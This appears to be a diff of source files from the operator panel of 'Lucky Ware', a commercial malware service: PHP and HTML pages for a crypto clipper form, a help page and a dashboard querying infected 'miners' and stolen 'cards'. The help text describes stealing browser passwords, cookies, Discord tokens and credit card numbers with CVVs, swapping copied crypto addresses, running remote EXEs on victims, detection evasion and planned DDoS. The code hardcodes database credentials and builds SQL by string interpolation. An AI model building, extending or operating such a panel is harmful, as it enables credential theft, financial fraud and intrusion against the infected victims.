<input id="xmr" type="text" name="xmr" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
|
||||
placeholder="<?php echo $XMRLAST; ?>" type="text">
|
||||
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dg px-5 py-5 rounded-lg mt-5"><!--Dash-->
|
||||
<div class="grid grid-cols-6">
|
||||
<div class="flex">
|
||||
<img class="" src="../assets/img/dash.png" alt="">
|
||||
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-0">Dash</h1>
|
||||
</div>
|
||||
<div class="sc-container ml-5 col-span-5">
|
||||
<input id="dash" type="text" name="dash" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
|
||||
placeholder="<?php echo $DASHLAST; ?>" type="text">
|
||||
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dg px-5 py-5 rounded-lg mt-5"><!--Neo-->
|
||||
<div class="grid grid-cols-6">
|
||||
<div class="flex">
|
||||
<img class="" src="../assets/img/solon.png" alt="">
|
||||
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-0">SOL</h1>
|
||||
</div>
|
||||
<div class="sc-container ml-5 col-span-5">
|
||||
<input id="neo" type="text" name="neo" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
|
||||
placeholder="<?php echo $NEOLAST; ?>" type="text">
|
||||
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="mx-5 mt-5">
|
||||
<button id="save" type="submit" name="save"
|
||||
class="dg py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center w-full">
|
||||
<i class="fa-solid fa-floppy-disk mr-1 icon"></i>
|
||||
Save
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div> <!-- end -->
|
||||
|
||||
<script src="../assets/js/status.js"></script>
|
||||
<script src="../assets/js/builder.js"></script>
|
||||
|
||||
<style>
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
// Wait for fonts and stylesheets
|
||||
Promise.all([
|
||||
document.fonts.ready,
|
||||
new Promise(resolve => {
|
||||
// Check if all stylesheets are loaded
|
||||
const styleSheets = Array.from(document.styleSheets);
|
||||
if (styleSheets.every(sheet => sheet.loaded !== false)) {
|
||||
resolve();
|
||||
} else {
|
||||
window.addEventListener('load', resolve);
|
||||
}
|
||||
})
|
||||
]).then(() => {
|
||||
const overlay = document.querySelector('.loading-overlay');
|
||||
|
||||
// Add the fade-out class
|
||||
overlay.classList.add('fade-out');
|
||||
|
||||
// Remove the element after the transition completes
|
||||
overlay.addEventListener('transitionend', function() {
|
||||
overlay.parentNode.removeChild(overlay);
|
||||
}, {
|
||||
once: true
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// Preload custom fonts if you're using any
|
||||
const fonts = ['Kanit'];
|
||||
fonts.forEach(font => {
|
||||
new FontFace(font, `url(path/to/${font}.woff2)`)
|
||||
.load()
|
||||
.then(loadedFont => document.fonts.add(loadedFont));
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,643 @@
|
||||
<?php
|
||||
|
||||
$domainyess = $_SERVER['HTTP_HOST'];
|
||||
|
||||
?>
|
||||
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<link rel="stylesheet" href="../assets/css/custom.css">
|
||||
<link rel="stylesheet" href="../assets/css/style.css">
|
||||
<link rel="stylesheet" href="../assets/css/hover.css">
|
||||
<script src="https://cdn.tailwindcss.com"></script>
|
||||
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
|
||||
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
|
||||
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
|
||||
<script type="text/javascript" charset="utf8"
|
||||
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
|
||||
<meta content="Luckyware" property="og:title" />
|
||||
<meta content="Luck is something you make and victory is something u take" property="og:description" />
|
||||
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
|
||||
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
|
||||
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
|
||||
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
|
||||
<title>Information</title>
|
||||
|
||||
<style>
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: #111111;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
opacity: 1;
|
||||
visibility: visible;
|
||||
/* Add visibility property */
|
||||
transition: all 1s ease;
|
||||
/* Longer transition and apply to all */
|
||||
}
|
||||
|
||||
.loading-overlay.fade-out {
|
||||
opacity: 0;
|
||||
visibility: hidden;
|
||||
/* Hide element after fade */
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
border: 3px solid #333;
|
||||
border-radius: 50%;
|
||||
border-top-color: rgb(173, 25, 12);
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* Custom hover link color */
|
||||
.hover-link {
|
||||
color: #111111;
|
||||
transition: color 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
}
|
||||
|
||||
|
||||
.current {
|
||||
background-color: #850000;
|
||||
}
|
||||
|
||||
.btn3 {
|
||||
border: 1px solid #151515;
|
||||
/* Default border color */
|
||||
transition: box-shadow 0.5s ease-in-out, border-color 0.5s ease-in-out;
|
||||
/* Smooth transition */
|
||||
}
|
||||
|
||||
.btn3:hover {
|
||||
box-shadow: 0 0 4px #B80000;
|
||||
/* Subtle dark red glow on hover */
|
||||
border-color: #B80000;
|
||||
/* Change border color to dark red */
|
||||
}
|
||||
</style>
|
||||
|
||||
</head>
|
||||
|
||||
<body class="dg">
|
||||
<div class="loading-overlay">
|
||||
<div class="loading-spinner"></div>
|
||||
</div>
|
||||
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
|
||||
|
||||
<div class="grid xl:grid-cols-6 gap-5 mt-5"> <!-- ANNOUNCEMENT + LOGS -->
|
||||
|
||||
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
|
||||
class="fa-solid fa-globe mr-1 icon2"></i> Lucky Ware</h1>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
Lucky Ware is the third product in the Lucky Services Franchise, created and developed by
|
||||
Hopesar. Designed for users with thousands of connections, it offers a web-based platform for
|
||||
managing clients efficiently. Building on the experience from its predecessors, Luckycharm and
|
||||
Luckyminer, Lucky Ware provides a refined and user-friendly experience. Its stubs are written in
|
||||
pure C++, making them highly persistent once executed on a target machine. Luckyware web panel is not mobile friendly, it is recommended to use it on a PC or laptop. Preferably on a device with a 1080x1920 resolution. All features are experimental for now with no guarentee of function.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1 block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Trust</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">A common concern for new users is trust, how can
|
||||
you securely manage countless connections through a web-based service? The answer lies in two
|
||||
key factors. First, Lucky Services has established a trusted reputation over the years,
|
||||
providing reliable connection management to thousands of users, with over 100,000 infections
|
||||
handled.
|
||||
|
||||
The second and most critical factor is LSTA (Lucky Services Trust Algorithm), developed by
|
||||
Hopesar. LSTA ensures the security of user data through a simple yet effective process: When you
|
||||
register, your password is stored in the database. Upon creating your first build, your password
|
||||
is linked to it. Once your first connection is received, its details are encrypted from
|
||||
client-side with your password by your stub and then gets sent to the server to be stored in the
|
||||
database. At this point, your password is deleted from the database. For subsequent logins, the
|
||||
system verifies your password by checking if it can decrypt the stored data.
|
||||
|
||||
With LSTA, your connection data and logs remain secure and inaccessible to anyone, even if the
|
||||
database were compromised. This algorithm has been successfully used in Luckycharm and
|
||||
Luckyminer and is now a core feature of Lucky Ware, ensuring unparalleled security for your
|
||||
connections.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1 block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Support</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">If you have any additional questions or need
|
||||
further assistance, feel free to reach out to @gh1s5 on Discord or @hopesar on Telegram. They
|
||||
are available to help with any queries you may have.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
|
||||
class="fa-solid fa-house mr-1 icon2"></i> Dashboard</h1>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
Lucky Ware dashboard is where you can view and interact with your connections, stay updated with
|
||||
the latest announcements, and check system status.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1 block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Actions</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">On the Lucky Ware dashboard, you'll find three
|
||||
buttons: Information, Execute, and Delete. The Information button displays additional details
|
||||
not shown in the table. The Execute button allows actions like file execution or data download like Cookies (Cookie logging is still on beta and it may not log cookies on some devices.), Passwords, Tokens;
|
||||
note that due to Lucky Ware's PHP-based system, execution may take up to 100 seconds. Lastly,
|
||||
the Delete button removes the connection log permanently.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
|
||||
class="fa-solid fa-hammer mr-1 icon2"></i> Builder</h1>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
The Lucky Ware builder allows you to create a Lucky Ware stub directly in your browser. The
|
||||
build process typically takes 20-40 seconds and is fully web-based. Luckyware stubs require C++ Redistributable installed on a PC.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1 block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Settings</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">In the Lucky Ware builder's settings tab, the only
|
||||
modifiable variable is the webhook, which must be a Discord webhook. Changing the webhook does
|
||||
not affect your current build, as the webhook is server-based and notifications are sent from
|
||||
the server. Once updated, logs from all your builds will be sent to the new webhook.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
|
||||
class="fa-solid fa-key mr-1 icon2"></i> Passwords</h1>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
The Lucky Ware Passwords tab allows you to view passwords logged by Lucky Ware. You can browse
|
||||
them in the data table and use the search functionality to filter results. The download feature
|
||||
for bulk password exports is located on the Dashboard. Currently, Lucky Ware only logs Edge and
|
||||
Chrome passwords.
|
||||
|
||||
Passwords are one-time logs. If a connection already has passwords stored in the database, no
|
||||
new passwords will be logged, even if the user has additional ones. To log new passwords, you
|
||||
must purge the existing passwords for that connection via the dashboard. This ensures that the
|
||||
next time the connection goes online, any new passwords will be captured.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Layout</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
If you press on the url it will open the website in a new tab, if you press on the
|
||||
username it will copy the username to your clipboard, and if you press on the password it will copy the password to your clipboard.
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
|
||||
class="fa-solid fa-hexagon-nodes mr-1 icon2"></i> Stresser Hub</h1>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
The Lucky Ware Stresser Hub is designed for performing Layer 4 and Layer 7 stressing actions
|
||||
using your connections. However, this tab is currently under development and not yet available
|
||||
for public use.
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
|
||||
class="fa-brands fa-discord mr-1 icon2"></i> Tokens</h1>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
The Lucky Ware Tokens tab displays Discord tokens logged from connections. Here, you can perform
|
||||
actions such as downloading tokens and searching through them.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1 block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Actions</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">On the Lucky Ware Tokens Tab, you'll find Discord
|
||||
log options with four buttons: Download All Discord Tokens, Download Valid Discord Tokens,
|
||||
Download Valid + Verified Tokens, and Purge Invalid Logs. These buttons are self-explanatory.
|
||||
|
||||
In the data table displaying your token logs, you'll see three action buttons. The first is the
|
||||
Copy Token button, which will glow red if the token is invalid (checked every 3 hours by Lucky
|
||||
Ware servers). the Delete button permanently removes the log.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
|
||||
class="fa-solid fa-play mr-1 icon2"></i> Automations</h1>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
The Lucky Ware Automations tab is where you manage automations, which are EXE files set to
|
||||
execute automatically every time a connection goes online.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1 block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Adding Automations</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">To add automations, use the input box in the
|
||||
Automations tab. Ensure your EXE file's link is accessible as a raw file (e.g.,
|
||||
example.com/exefile.exe or test.net/exefile.bin) and hosted in a permanent location to prevent
|
||||
link expiration. We recommend using GitHub or Catbox.moe for file hosting.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
|
||||
class="fa-solid fa-clipboard mr-1 icon2"></i> Clipper</h1>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
The Lucky Ware Clipper tab is where you configure clipper addresses. The clipper replaces any
|
||||
crypto address that connection copy with the one you specify in the settings. Since this
|
||||
configuration is
|
||||
server-based, once saved, it will apply to all builds universally.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
|
||||
class="fa-solid fa-credit-card mr-1 icon2"></i> Cards</h1>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
The Lucky Ware Cards tab allows you to manage and view credit cards logged from connections. You
|
||||
can purge all cards, download all logs, or simply browse and search through the card
|
||||
information.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1 block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">HMCA Explained</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">HMCA, or Hopesar's Magnificent Card Algorithm, is
|
||||
a unique algorithm developed by Hopesar in 2021. It has been exclusively implemented in Lucky
|
||||
Services Franchise, including Lucky Ware. This algorithm enables Lucky Ware to log card details,
|
||||
including Card Number, Expiry Date, and notably, the CVV—making Lucky Ware the first and only
|
||||
service capable of logging CVVs. The data is captured as connections enter card information on
|
||||
their browsers, apps, or anywhere on their devices. However, due to the nature of HMCA, rare
|
||||
instances of invalid or "trash" card values (e.g., 42424242...) may occasionally appear in the
|
||||
logs.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2 mb-10">
|
||||
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
|
||||
class="fa-solid fa-gear mr-1 icon2"></i> Settings</h1>
|
||||
<hr class="mx-5 mt-2 border-stone-800">
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
The Lucky Ware Settings tab allows you to adjust account security options. You can add a
|
||||
security webhook to receive notifications on your Discord webhook whenever a new login occurs.
|
||||
Additionally, you can enable country lock, which restricts logins to the country from which you
|
||||
are currently accessing your account.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
|
||||
<div class="flex px-5 mt-3">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="block">
|
||||
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">FUD Mode</h1>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
|
||||
Enablind this setting will make Luckyware leave 0 traces or warnings on the device its executed, however this will turn off all the remote feeatures and cookie logging, persistence.
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</div> <!-- end -->
|
||||
|
||||
<style>
|
||||
@keyframes topFlyIn {
|
||||
from {
|
||||
transform: translateY(-100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the left-flying animation keyframes */
|
||||
@keyframes leftFlyIn {
|
||||
from {
|
||||
transform: translateX(-100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateX(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the right-flying animation keyframes */
|
||||
@keyframes rightFlyIn {
|
||||
from {
|
||||
transform: translateX(100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateX(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Define the bottom-flying animation keyframes */
|
||||
@keyframes bottomFlyIn {
|
||||
from {
|
||||
transform: translateY(100%);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Apply the animation to elements with the respective class */
|
||||
.top-flying {
|
||||
animation-name: topFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateY(-100%);
|
||||
}
|
||||
|
||||
.left-flying {
|
||||
animation-name: leftFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateX(-100%);
|
||||
}
|
||||
|
||||
.right-flying {
|
||||
animation-name: rightFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateX(100%);
|
||||
}
|
||||
|
||||
.bottom-flying {
|
||||
animation-name: bottomFlyIn;
|
||||
animation-duration: 0.8s;
|
||||
animation-timing-function: ease;
|
||||
animation-fill-mode: both;
|
||||
opacity: 0;
|
||||
transform: translateY(200%);
|
||||
}
|
||||
</style>
|
||||
|
||||
<style>
|
||||
input::placeholder {
|
||||
color: #a8a29e;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function () {
|
||||
// Wait for fonts and stylesheets
|
||||
Promise.all([
|
||||
document.fonts.ready,
|
||||
new Promise(resolve => {
|
||||
// Check if all stylesheets are loaded
|
||||
const styleSheets = Array.from(document.styleSheets);
|
||||
if (styleSheets.every(sheet => sheet.loaded !== false)) {
|
||||
resolve();
|
||||
} else {
|
||||
window.addEventListener('load', resolve);
|
||||
}
|
||||
})
|
||||
]).then(() => {
|
||||
const overlay = document.querySelector('.loading-overlay');
|
||||
|
||||
// Add the fade-out class
|
||||
overlay.classList.add('fade-out');
|
||||
|
||||
// Remove the element after the transition completes
|
||||
overlay.addEventListener('transitionend', function () {
|
||||
overlay.parentNode.removeChild(overlay);
|
||||
}, {
|
||||
once: true
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// Preload custom fonts if you're using any
|
||||
const fonts = ['Kanit'];
|
||||
fonts.forEach(font => {
|
||||
new FontFace(font, `url(path/to/${font}.woff2)`)
|
||||
.load()
|
||||
.then(loadedFont => document.fonts.add(loadedFont));
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
header("Location: ../../Login");
|
||||
?>
|
||||
@@ -0,0 +1,984 @@
|
||||
<?php
|
||||
|
||||
session_start();
|
||||
$domainyess = $_SERVER['HTTP_HOST'];
|
||||
$secretkey = $_SESSION['secret_key'];
|
||||
$username = $_SESSION['admin_name'];
|
||||
$role = $_SESSION['Role'];
|
||||
if (!isset($_SESSION['admin_name'])) {
|
||||
header('location:../Login/');
|
||||
} else {
|
||||
|
||||
if ($role == 'Trial') {
|
||||
header('location: https://' . $domainyess . '/Subscriptions');
|
||||
}
|
||||
|
||||
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
|
||||
|
||||
|
||||
if ($role == 'Founder') {
|
||||
|
||||
$selectu = "SELECT * FROM miners";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
|
||||
} else {
|
||||
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
